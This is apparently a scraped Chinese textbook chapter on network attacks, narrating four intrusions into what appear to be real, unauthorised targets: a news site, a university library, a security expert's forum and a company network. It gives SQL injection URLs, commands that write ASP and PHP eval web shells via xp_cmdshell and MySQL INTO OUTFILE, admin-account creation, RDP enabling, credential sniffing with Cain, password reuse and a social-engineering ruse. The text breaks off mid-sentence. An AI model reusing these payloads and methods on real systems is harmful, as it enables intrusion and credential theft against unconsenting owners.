《网络攻击与防御》课件第八章 网络攻击实例_第1页
《网络攻击与防御》课件第八章 网络攻击实例_第2页
《网络攻击与防御》课件第八章 网络攻击实例_第3页
《网络攻击与防御》课件第八章 网络攻击实例_第4页
《网络攻击与防御》课件第八章 网络攻击实例_第5页
已阅读5页,还剩47页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第八章网络攻击实例8.1一次PHP注入的过程8.2对图书馆系统的渗透8.3社会工程学的利用8.4渗透某公司内部网络 8.1一次PHP注入的过程

PHP注入的方法在第五章中已经进行了介绍,下面来看一个实例。这次攻击过程是笔者在研究之余对目标网站进行的一次安全检测,仅供教学研究之用。

存在漏洞的页面为:

http://www.***./show_news.php?id=6076

用经典方法测试,提交:

http://www.***./show_news.php?id=6076‘

返回错误信息,如图8-1所示。图8-1错误信息提示接着提交:

http://www.***./show_news.php?id=6076and1=1/*

返回正常页面,如图8-2所示。再提交:

http://www.***./show_news.php?id=6076and1=2/*返回错误提示:“您所请求的数据不存在”(说明查询没有成功),如图8-3所示。这下就可以确定是存在PHP注入漏洞的。确定漏洞后首先提交:

http://www.***./show_news.php?id=6076andord(mid(version(),1,1))>51/*返回正常页面(如图8-2所示),说明MySQL是4.0以上版本,接下来就可以用union查询了。

接着利用orderby把字段数猜测出来。提交:

http://www.***./show_news.php?id=6076orderby15/*返回错误,可以判断此语句的字段数在10到15之间。

到这里还要利用union查询来确定准确的字段数。提交:

http://www.***./show_news.php?id=6076and1=2unionselect1,2,3,4,5,6,7,8,9,10,11/*返回结果如图8-4所示。说明我们猜到了准确的字段数是11。接下来看这个数据库连接账号有没有文件读写权限。提交:

http://www.***./show_news.php?id=6076and(selectcount(*)fromMySQL.user)>0/*

结果返回错误,那我们只能从猜解管理员账号密码,然后登录后台来打算了。

后面的事情好像都很顺利,首先猜存放管理员账号密码的表是user,提交:

http://www.***.//show_news.php?id=6076and1=2unionselect1,2,3,4,5,6,7,8,9,10,11fromuser/*

返回和图8-4一样的结果,也就是返回正常,一猜即中,说明存在user这个表。

知道了表就是猜字段了,提交:

http://www.***./****news/show_news.php?id=6076and1=2unionselect1,username,3,4,5,6,7,8,9,10,11fromuser/*这个时候才想起来,刚才只顾猜得高兴了,居然忘了先找后台,犯了一个低级失误。

马上去猜,但是在根目录和子目录都加上admin、manage等地址都是不存在,利用Google也没有什么突破,暂时陷入了困境。就在这个时候偶然发现首页新闻图片地址是http://www.***./****cmi/Upload/1.jpg,有点奇怪:一般上传的图片文件名都是程序随机生成的,而这张图片却不是。思路一下又来了,这个目录是上传图片的保存目录,那么就是管理目录?去掉后面的子目录,只剩http://www.***./****cmi/,果然后台管

理出来了!赶紧用刚才的用户名和密码登录,成功进入接下来的事情就是找上传图片的地方,上传一个phpshell就拿到了Web的权限。这是一次基本的PHP注入过程,其中包含了探测环境、猜解密码、猜解登录后台等过程。可以说是麻雀虽小,五脏俱全。读者可以看出,实际攻击和预先的构想是存在很大差

距的,比如攻击最后的寻找后台,管理员的后台地址不是常用的,应该怎么办?或者说在猜解表段字段的时候,发现字段名并不是常用的那些,应该如何去猜解?这些都是在实际

攻击过程中经常遇到的问题。同时也可以看出如果把程序写得非常规范化,比如修改字段名、修改管理入口等也能为程序的安全提供一些保障。但是追其根源还是因为程序对用户

的输入没有进行有效的过滤,导致了SQL注入漏洞的产生,从而使得网站被轻易地取得控制权限,所以还是应该在接受用户输入的时候就进行严格的过滤才能保证更加安全。 8.2对图书馆系统的渗透

这是笔者对某高校图书馆系统进行的一次安全检测,其中包含了注入、扫描、嗅探等渗透常用技术,是一个完整的渗透过程,也基本列出了实际入侵中会遇到的问题。

图书馆的借书、还书都是通过一款软件写入数据库服务器的,而且还可以通过Web的方式查询自己的借书情况,能拿下那个Web查询系统就基本可以控制图书馆的数据库了。

直入主题,找到图书信息查询系统,也就是OPAC,界面很友好,功能也很强大,就是不知道安全性如何。程序是PHP写的,首先还是尝试注入吧,PHP注入还是很有杀伤

力的。找了个连接加“'”返回空白页面(如图8-7所示)。回过头来看图书馆的其他服务,有随书光盘系统,有论文提交系统,尝试从这两个地方寻找突破口,发现光盘系统的一个连接:

http://210.*.*.133:8080/sub-item-cell.asp?BookID=‘4446’

参数被引号引起来了,直接加and1=1是返回错误,难道不能注入?好像有点不对,把两边的引号去掉再试,直接提交:

http://210.*.*.133:8080/sub-item-cell.asp?BookID=4446and1=1

返回正常,如图8-9所示。图8-10得到出错位置原来这里接收了BooKID后是没有对数据进行处理就带入查询的,那我们就不客气了,放到工具里面跑就是了。结果很快就出来了,看来运气不错,是SA权限。接下来的事情就很轻松了,找到Web目录,用xp-cmdshell执行命令写入WebShelll还是差异备份都一样。我这里因为方便就直接执行:

echo^<^%evalrequest(chr(35))%^>^>d:\WEB\tc.asp

这样Web目录下的tc.asp就是我的shell了,如图8-11所示。注意这里的^>^是因为echo会把>当作写入结束,所以需要替换。在写入的时候因为服务器的配置不同还可能出现%无法解析的问题,这个时候只要把%替换成%25就可以了。

因为是SA权限,所以不用担心提权的问题,直接添加了管理员账户然后上传3389.exe,开启3389端口。服务器重启后连上去就进入图书馆的服务器群内部了,如图8-12所示。拿到系统权限之后,因为它和目标主机是同一网段,所以首先用tracert命令跟踪210.*.*.149,没想到管理员居然划分了虚拟子网,嗅探也不行了。再考虑看能不能从硬盘里面翻出有用的密码文件,经过一会的信息收集得到了以下密码:SA密码(从数据库连接文件中获取的)、管理员账号administrator的密码(因为管理员登录后没有注销,所以

用findpass从内存里面读出来的)。得到几个密码后扫描一下这个网段的服务器,得到如下信息:

210.*.*.130,开放了80、135端口;

210.*.*.134,开放了80、1433端口;

210.*.*.149,开放了80端口(这台就是图书信息查询系统,也就是目标主机)现在马上就想到了利用社会工程学尝试是否有相同口令。第一步:用得到的SA密码尝试连接210.*.*.134的1433端口,很幸运成功了,如图8-13所示。接着用同样的方法添加账户,开启3389端口,就不多说了。第二步:用得到的管理员密码尝试和210.*.*.130建立IPC连接,结果操作失败。正准备放弃的时候想到有个叫做Recton的工具,它不依赖IPC,只要主机开放135端口和WMI服务即可,何不用它试试?

结果发现两台服务器的administrator账户密码是一样的,如图8-14所示,连接成功后不一会儿也登录上了它的3389。到这个时候该总结下了,现在图书馆的四台服务器已经拿到了三台,只剩目标主机210.*.*.149了。目标主机只开了80端口,看起来是对它毫无办法了。这个时候无意之中

分别看了下三台服务器的IP情况,居然发现其中210.*.*.134的网关和210.*.*.130、210.*.*.133是不一样的,难道它和210.*.*.149在同一个子网内?报着试一下的态度,执行tracert命令跟踪210.*.*.149,直接返回了210.*.*.149,说明是可以嗅探的。

上传了图形界面的工具Cain,这里照顾一下没有接触过的新手,先简单介绍下Cain配置:安装完毕以后,它会提示选择使用的网卡,因为服务器一般都有两块网卡,所以这里要注意是选择210.*.*.134所在的这块,如图8-15所示。

8.3社会工程学的利用

笔者曾对一个自称是由安全专家建立的网站做过一次安全测试,其过程并不复杂,但是用到了一些社会工程学的技巧。

先浏览他的网站,是用Discuz!4.1.0创建的论坛。已经知道了管理员就肯定要摸清楚他的底细,毕竟社会工程学还是很重要的。首先从他在论坛里面填的个人资料中收集到了QQ、E-mail、Blog等个人信息,马上有了一个思路,首先破解其Blog密码,然后再看是不是和他论坛的密码一样,这个就是所谓的社会工程学了。他的Blog是用Oblog程序建立的,登录Google搜索Oblog的漏洞,找到了一个3.0版的漏洞,满怀希望地试了,结果被管理员补了,郁闷!正准备放弃,忽然发现这个服务

站不止有Blog服务,还有新闻系统,并且采用的是雷驰新闻系统,在网上搜索到了这套系统的代码,仔细研读后发现了一个上传漏洞可以获取Webshell。漏洞是这样的,

uploadPic.inc.asp文件没有对访问权限进行限制,任意用户都可以访问此文件,并且出现了过滤不严的上传漏洞,漏洞代码如下:

http://localhost/leichinews/admin/uploadPic.asp?actionType=mod&picName=test.asp,然后在上传文件里面填入要传的图片格式的ASP木马,就可以在uppic目录下上传名为

test.asp的文件。通过此方法很快就获取了Webshell,跳转到Blog的目录。激动地去下载Blog程序的数据库看他的密码,是16位MD5的,尝试破解但没有成功。这个思路被堵死了,渗透陷入了死胡同。

在没有思路的情况下只好去扫描他的服务器。用Ping命令查询域名对应的IP,得到*.*.*.155。打开X-Scan工具进行端口扫描,很快出来了结果,只开了21和80,估计是开了防火墙过滤。实在没有办法了,只能试试嗅探。只要拿下同一子网的一台就可以嗅探了。想到就做,又用X-Scan对它的整个子网进行了扫描,等了大约10多分钟结果出来了,果然有漏洞的机器很多,最严重的一台*.*.*.154直接是SA空口令,就选它了。相信针对SA空口令的入侵大家不会陌生吧,这里就简单描述一下。用SQLTool工具输入IP和用户就可以连接到这台服务器,因为是SA权限,拿下的方法很多,我是开启了3389端口然后添加管理员账户上去的。连接到*.*.*.154这台服务器的3389,首先用Tracert命令跟踪*.*.*.155,直接返回了地址,说明有希望。我上传了一个图形化的嗅探工具Cain,这个工具针对80定义的字段嗅探是相当准确的,打开工具选好目标机和网关就可以开始嗅探了。大家可能会想到要是管理员一直不登录怎么办?我也想到了。所以我又用到了一个办法,叫一个认识他的朋友去告诉他网站出了问题,不能登录了。这个办法很有效果,一会儿就成功抓到了他登录论坛的账户和密码。终于松了一口气,就等着他下线去登录了。

晚上10点多,看他不在,赶紧输入用户密码登录,成功!但是进了后台才发现不知道怎么通过Discuz!4.1.0的后台获取Shell,查了半天资料也没有结果,又断了思路。难道真的没有办法成功吗?实在没有办法,又去看扫描报告,希望能再找出点可以利用的信息,仔细看了一遍,还是没有发现什么特别的,但是一个提示其中包含的PhPMyAdmin引起了我的注意。在浏览器里面输入他的IP,然后在后面加上PhPMyAdmin目录,果然是装了PhPMyAdmin,不过要密码。怎么办呢?管他呢!拿先前嗅探到的密码尝试登陆,成功!看了下他的数据库是用root账号连接的,那还有什么问题呢?直接就拿下了嘛!查看phpinfo知道了Web的物理路径是D:\www,这下就可以用MySQL导出一个Webshell到Web目录了。首先选择test数据库执行:

createtablea(cmdtext);//建立一个表和一个字段

然后执行:

INSERTINTOa(cmd)VALUES(‘<?fputs(fopen(“./a.php”,“w”),“<?phpeval($_POST[cmd]);?>"?>')//插入一句话木马到字段中接着执行:

selectcmdfromaintooutfile'd:\www\b.php'//导出文件为b.php最后不要忘了删除表:

DROPTABLEa这样就得到了Webshell。本来应该到此为止,但是想到是安全专家的服务器,我又希望能得到更高的权限,所以就接着进行提权。首先尝试执行命令netuser,成功,又执行

netuserheiluoboheiluobo/add,居然也成功了。原来Apache在Windows环境下默认安装是系统权限都没有改掉,直接就可以得到系统权限。

这次渗透比较艰难,用了这么多方法和思路才拿到了Webshell,同时过程中也对社会工程学进行了很多的运用,就是靠管理员的疏忽才得到最后的管理权限的。 8.4渗透某公司内部网络

很多人认为那些大的门户网站安全性一定很好,但事实上很多大网站因为范围太广,很难避免出现漏洞。下面就是对一家大型公司网站进行的渗透,结果很轻松地拿下了内部

网络很多服务器。

入手点是一个分站的注入,是SA权限,首先确定数据库和Web程序是否分离。执行命令Ping我自己,结果显示防火墙报警的IP和网站IP相同,就确定了它的数据库和Web在一台服务器上。开始的想法是直接执行命令,加账户,开3389,然后登录,但是没有想到遇到了点问题。因为命令无法回显,始终不知道3389到底开了没有,反正就是连接不上,那就只有退而求其次,拿个Webshell再说。换到教主工具的执行命令功能,向Web目录写一句话木马。很快拿海洋的客户端连接上了,进去之后发现基本没有经过安全配置,可以进行任何操作,执行netstat-na命令查看连接情况,居然发现3389是监听的,那为什么刚才我连接不上呢?偶然看了下服务器信

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论